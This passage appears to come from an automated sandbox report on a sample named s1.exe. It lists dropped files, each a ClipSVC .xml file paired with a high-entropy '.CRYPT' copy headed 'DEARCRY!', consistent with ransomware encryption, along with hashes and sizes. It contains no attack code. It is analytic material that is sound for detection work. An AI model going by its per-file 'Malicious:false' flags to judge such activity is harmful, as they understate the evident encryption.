                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.937576466490134
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:42082D5C25C2D40A94EA2D628027204F
                                                              SHA1:D647184862E38ECD7D490146256C4647019658CA
                                                              SHA-256:3D5D5EF6E135C49E7FA0008E4A8700F572A0662B5D7BDCE292ED9C9553202680
                                                              SHA-512:CD6AE87D181AB4C072A9CA2CCF714915E78821CB69466A07EAC8B77A954A3C37638027E8E33E388B7849EB7699977BFDCE62FAEBD130304E3492876D9F5AAF98
                                                              Malicious:false
                                                              Preview: DEARCRY!.......k.eO.M....G...[..CW....."c..K..N.-u.Q.Tv+;...C...C.../4+..)r.dW*...cX..n.O.Qs.;..0.....}.qr..S..J.at.X..[N....]L+..o.h.....}E..gU.&...`n7..D0o`Z...bb...K.\K:9>........[....[..8.j.S.&.d.l..."g62.W0..r...V...2u.......K.{...I...h..L/..{8................t(...n...5.X..0..[l.i3...bR..r,^S...x..wSN..vFHL.1...x....=.v.<..x....1....V..8.b,R.........ah.O..b.>.n.S.2.!in..@..+.=J...D.s&.Q.A]*E....$..z>...`g.F.'$+w8.v..I5....z....|.%.....]x..O=...-&@...M!.J....!..s...j....)... ..*bK7.....A.>...<.@.:w.....z..2.9'.zWN....d....\ ............S......H.i....p.P&18......\.|Yb".|q..h.R.aK..2g.(-.y......@.#.{.G...p....4....{..%.A:u_.d...o...'^"l..NU.....+.89..Z.rJvp.+.a....2.Wi..W.....i E&.v....o.....tw......yN2H.@^_/.........i....tZ.B.N............Q..G#......M)].'.py.....`;....}bD.5..`;{.!(.n.q....q......o.A..U..U.V...I.Rg`.{.{......Q..:..Q.....A].$..nNP..#C.s.......>....-.+R=.K`...<;MqK.b..OkPV...x...h.C..9h..n..T.8*..b.ZF...f.R.w
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3179
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B793A36718C5A9570E017754EC081051
                                                              SHA1:CBBC6EDF9977EE9509A65C800DD372385EF2AA49
                                                              SHA-256:CF46377FF58D7DD16FFF60F094637F6E93B43C6B3B333BAF55CB3665B80F4624
                                                              SHA-512:1245EE95C202DBCF48CCC63D0855E6EE8263F7D54A54FEB58A23367EBB642A3B00B6B4E6B309046EDB65939865C87F0D3610443C8A7EC6F8A874559A342C9FA9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3464
                                                              Entropy (8bit):7.9466149751220465
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D4933A32E8C7AC2D3AFCCC5136D0E3EA
                                                              SHA1:AE0572E8268DDB341CDBD8FBB78A855929B9A70A
                                                              SHA-256:2C913D72D601E50D197EE468BED317E956AD0ADA74E7E36E956FDB3D8A6EF1A6
                                                              SHA-512:FCAB8646E199E2F35F4B1A7181775A5C0FBD2AB522FD1277DDFC4E7C05835F25015C219DE26E93F9EFB10AB85C2A03A7E4013FD8CCC066502A70C0BCA789BF7B
                                                              Malicious:false
                                                              Preview: DEARCRY!....Y...)gm.m7.z........?....Q..H.,0..o.1'.}U.9.D...G..Z....`!...3O..`.|.....C^.K...ke.|.,.o...'...+......uSs....x .......S.V...1..l./..j......i.&v`....N..[#._$.v....8....h...8=$........4 ..Cf.W.....a.....K...?>..Y..$D~a.a..A......*.....xpHJp../.-....k.........O._0d.u......*p3...a...j....".g..5_......".:.#G.P].....vW...?.. ..>..1s.!..2.I...x .R....j..a!v.5.&8.$%...].....6%\iAU...p.D..u.>....`.^.*f.....l....."U...6....V.R3r.B....,. ..J_T..5.O.3M0ms.m$M.GR........~E}#...K.d....$~..+............|2.R....!>..Y4{C.. .......t.z.x.2...K...sO.{~...v..w.x6....*8o...@s<..}..u....!Oz..]F`'...Un....y....1.D....&......9.Tu..d.(g.^...+.N... ...........U......z....+...Wg..R...q.0u-..C.Ruo.F.m.Lt..>.U.9.F&...zB.F.S5...L.x,..2...z%....|..<...H..d.\`..<......3....l4..3..l..r[.oq.P.......g).>r.......%/M.N.|......l.j....bW....Z..P'{.E.p..)....:].u(.LS..<.%]Z\.u).V..6.r&........%...d.......3.4.x.a...z.Sx...r...g....TF...i^.,.5..G/.=........#.u...o.H#.m.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\d508ba05-d8aa-2836-484d-3833d22fe185.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2767
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E7CB9A3D473727189E7845F90CA1A0F3
                                                              SHA1:500869A224C4C0808AACC9912FD8068EAA0544C5
                                                              SHA-256:20F46F4C9586C6EB9220ACB683AD950392E1FD272DCECD98A47AF093E164C623
                                                              SHA-512:9E879B7CADFF329749085F9BE8CC5A4BB78C2B76CBBF5F8AAB87ADD2EFF246F226071391F298C34EB455FFEE51E7716F6ABAF8D519FCDDD8195A8CAC855FEFD5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\d508ba05-d8aa-2836-484d-3833d22fe185.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3048
                                                              Entropy (8bit):7.9456810488353025
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7BAD2CAADB583EA0A8DB2D8DE3B1C10E
                                                              SHA1:1DF42F5A25ACE5E142C0051CB12AF92C04426EAE
                                                              SHA-256:B268E29B06260D9C46865B6C09E37F0DF00DBE444A245BFB3436770F73766518
                                                              SHA-512:17FA077791673C5CE257F6C52720305AC8E6817A6350178B4527A2BF771D681E2834896B8CA6C42220B610463296CE42767C7821FCEF68FE03A75552267C9358
                                                              Malicious:false
                                                              Preview: DEARCRY!.....JK.Z.MeF#..4.n.UU~N.l.....v.X.w...^\.3pX+.X...`;.x....zx.)2..}x...Q%...7...N............K[,...5......%eoX...C]n~.0B..vG...",....S.1%...>..^.r.#....|Gm)....<.(...#.gu.C..0...%.x|..E...d:@Be.D..B$.p.c...I...........a'D..H'..e...Ww.r:qS..x................f.a...?.Az.e07;..djy...;.|.h...a.}d.!.....q..^...6.F...h...m:.Iw..!.LB.L;....z...?.l...5.8dA....^Db...J..+.....2.]m..}-.u.y........`...j..6...GI...l.u.@P.1y.|..t{".....iw%...}......+a"OB3k.,.>...Kp-....,....s.....{>V...,P...)%Q..p)...')Jh.y..g...([..H..w..:..".c..z.4.L.U|.w......Z%.L..Z.d.v.....j..o#.....8..Y.`>......t.....t=b...S...... .K.T9.......... M..S%B.uh;}.{...X..<.4..r._3..Q1De4Z...#.7.,7|2.[...ox.C]&.^`<#. ....~...O@...2..X{/y.n.2S.......rC/,i<C@..^....$.J.W.f..T..W~g...hJ_..z..=-;.:V.....]..-.*.z....^TW.d..E....;,5......>.....K.......?..1.l..*.%...I.I......ht.............6..=D.)1.hA9....k.........~..e._@....O)B...V..wW)./.)Lw..]...0CD.kY/.G.;_....!}!x.......z...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\def4aad2-be7c-c8c9-3637-d3b08c66957e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3223
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C8DC63ADE170DADA451FE043E1EB78B
                                                              SHA1:CCBB0B50BD1CEC62DD1693B8D315B73511182775
                                                              SHA-256:E41883E6857FAF47488896083EB493FC3276FC14020D99A08C3C6DB694BD06F7
                                                              SHA-512:58BD0AEDCDA5C57AC0DBEA1A1B150A323D277F9EFF7557906F12BC7A700F3F9AEE9A8EA35542E4BE6D2BA0A09AC4BDB7DBFEE2DBFD86C7E357932716BE529B50
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\def4aad2-be7c-c8c9-3637-d3b08c66957e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.949788046280624
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0223577B0A043DB206571E473C9B0DA2
                                                              SHA1:583259189A598F720BDA02196035922331EA9014
                                                              SHA-256:D5BC2C3F714E71C53AC2613F5EFAF3BA71F4983743CE322837AAA12812852428
                                                              SHA-512:27CB2954A01CCB8610E6ED9B46180F1D5182785D4796772C772A7096BF69EC3D30ECEACECD8B284EC6F748FA98F105686891BB2FB3305D9581CE67E6596770CC
                                                              Malicious:false
                                                              Preview: DEARCRY!...._ l..s5.(....(..bw..8).B...yK..$pp.;.o.3.....!..p....V,...nT.n...I....v4{.:...s.6/..`.y:{.{..'.,....A...f.....@.....xx2..MHQ.q..V8...Sk8QN.%.x....S..x.i......l..S.M3....=.V..&.....S.]X.|...V.3.I?..........@0g....hS.9.J....<Jg..I.F.b..`....t..:..............X.n-_........;i..O-.. z....U.s..>.._.H....9 Z.,.8..,....lB..e...I...V.. B..".......q.....2.CM~.u..*.x..R...P.h......!G.......}[/..PLkE....6F....g..n..%.^.O.8.X....2......w?2!.g.*A#......[....m.ZDM{.3.;.&.\....m.I.owOo.6..@...oq.1....Rh...ylx....Q0\..^..(K....X.JNc.:..E.....9..e{...p.p.._.F].....).Q.Y...A.....q.\.T.]F._%?....1.......#.$.F..B$..p*.Y..."p.W..X......L"d.q-./%Q... x....w.t..U.B. .g.8.~.%....U.A+.......0.l2u.......Vt' d...{O..A..f &......"...b.~.,..'....[..h..$.D.V..U../[5..k*..._.."V.H.?...*&....]6...U5..3..=.W N..%2d...O...........Eg.b&K..........1,.+{K..\M`..(u....yV4...oJD.#Nc..r..^y].K.2.^9.....k..17.vI..]..Cw$..{?0...L..i. .....X.2.1.h..4.....w.....y-....E
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2642
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4D9555D6EF731B84E07537DB376550F4
                                                              SHA1:48847935C9DD22595C7EE0804E8F6C6A193BB267
                                                              SHA-256:D87AF71523253BB9113714C83FD59290C28C308FD63A43598752FBCA4E416677
                                                              SHA-512:F00A744EE0C033188F5266747589F1C04F9C04328C4EDCF23CBB03D99CC34AD54B1FCB74CF1CC6B666269E60D543E96101E516BE92F6FB5BBF5E8D8ED2036B9C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2936
                                                              Entropy (8bit):7.936059779016683
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7C5FB34FA6F085A1EDC2A2DE3C6D423E
                                                              SHA1:EA78E4B4B2B06882CBE9DB5958DFDC80C80087E7
                                                              SHA-256:34E08162549FEF56FB9027D0C11D84B5BE73A23A24EDE55E75348C41605B0EF2
                                                              SHA-512:E0A4A6D471537E0DB1C5D00A375EA049E299FBC67B2BEA26FB462F96C20DAED403B3043EC67C15A26AE4D6C50B045C2AAAB3B8EFE49DBA62A513459565E42D84
                                                              Malicious:false
                                                              Preview: DEARCRY!.....=Et~..jhbhN$..h...'.1$..^"U..bO.N.uq.......@..c.3..'..V..._.u..lU.b..wg.W..S.ku....Lm6..D.f.~....i......b;_C.".H[H.i...w.|.V.>....t..l.....o.,.d..t.....!..\.]o...6j...l....#?=..`.`..de!~v..*f........,G.....p..z.u..N1D;..~....W^..9......a.#....R..........a.%...7.%5..).@.G....... |M...M....{*.ga.X.%.>K.9.``..1I....h.C.J..W[Q..akMy...03%...--0.d@....>|..C.A..e)".@..M.8..w._...9.........E..K.f.B...rp%...r...$ .dA.[.m..F..j...1.Z..q.VL,.Yv_u..#.E...1.Y.6..n...r.q6.H.{..L.cN...a.PQ1...{.L...uL.6._......tu)...E.;..0...y.t.J':.WH...s.t...K.......gA...Y...-*...........,..U.rWt./...@.S^.....l.;\_.c...M..>.19z.ta4...E.o~..u.:.558.x..:*.wD......JG?......^...........NN...........k....^.S'....P....._b..eqW....P.....^..o.......(d.S...Qx..\g....V...&.1.R.0....+*.R!.P.zM.W..-D....O..5TH...,#...:...M..0R)(..h.<t...E...@.."E.|..-q]~0....b....$"f.a0h.l..`;.6.(.K.cT.'..b..=....OZ.6;.:.....].;..:@.V-?h(8.3.N..G=hC...X..#`...T.cC....GW.H6<.c$
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3190
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A1B37801A4D132200058CDFF08248F00
                                                              SHA1:8457FD5E97E7B0069D0CC3C0D29F0B932F714278
                                                              SHA-256:12A71C3DB6F1A9E2B14588BF321D17373CD188BC23556A0D4DF512B2D163373A
                                                              SHA-512:BAF1AE36ECD527B4B2ED903ADBC77F4F99442C7E502393383421BF854906D70A99D672166CD2BAB804AE2B22AAA882675733C5EB5BE4FC98204109834CA88023
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.945631869198874
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:25FFAB7764F4A06D112BC22B120FFEDF
                                                              SHA1:5087A5067F2BE0627EB4A566FBA9C687D9381A49
                                                              SHA-256:BCE6D69EA6ED3CF614508F25C66B0140899C6F6CD9CA121BA06D5F53668F0343
                                                              SHA-512:BFF16305C37C114EEEAA705CE25BA7FB9B0B5ED1959A7C36DEB3F588D0A7F4FF110AE48FB46E75395005830430226C5A01020FCD1C9D6796B9B05B407C3C5002
                                                              Malicious:false
                                                              Preview: DEARCRY!......9.+So ..9..&.x..J....1.d...Ks....;..|X..d.6tF+...o..1....\.0..y.|.......%NA.....}..N.}..d..f...=..M...[.rb......|"..C.6.z.`5....J.....J....K4..-.%..CD.]SL.J}.9....]A5.K0.^c..J......&P<..[..r.h/.o%2...S.,..P..[.(.bEV...e/..Y..d...e....c....v.........o..R!..I...=.5c.."*...2>.iF...sb.w(.......(.Kt...@.?.....4dA2..!...W.....c...!.&+.....C)V.#...75.x.....'o..a....._O`.....8.eS.:...w..W,&3m.lo.P.v.EHpH..Fn..e`..\.Bf.N..e..p.....j[..N....]...:..N.....n..G.Su..O.%......PL.t....H.c+A.\.RE..)..f...g.....d..V.7@....a ..=F"......O......lN..I.......W.0}(...N..!.b..Mb.'&!..N...}P.)..cY..=.fVx..9Z.W....;..0.z.]......%......,..G.6....%....l1d.k.".....5 ..H..y.._...j..AV'.>.n.......b<.~0F......*&!l.{8.u.D....;..ZN,. w..,mT.:.U.".2Uf.5.j....'.Z.|...L......P9]R..*K...t5Ta.8.G(.."..O.)Y.q......_.(..4Op`. .........].C..`r.;..0..7f.1..._..`(H..D.%._\n.Ry...8.B.Ys.a..,.E'..".M...U.%.n.U..[...G.....!Q..dwm....1.~.....c?...%..dLD.=
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\e64ffef1-e246-b632-595b-56076a3fa776.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2641
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:04F3978B6560FCA07BBD0E18ED11BF3D
                                                              SHA1:5182EA8B4EEAEEF90E0F981767F17E6539F0AB30
                                                              SHA-256:6CDA0C39E088AFE37920488E7C1BBCAC871285576903C4E2BD6E90BBFB21FEA3
                                                              SHA-512:1F1512042747048DBE833FEAFF92D3A0DE10AC0B20A1B99602163F87788DC895401320F55E0A59FE5B86E486CDACB2F2F57E800AC791E44A1B4E98BE23CED7DC
                                                              Malicious:false
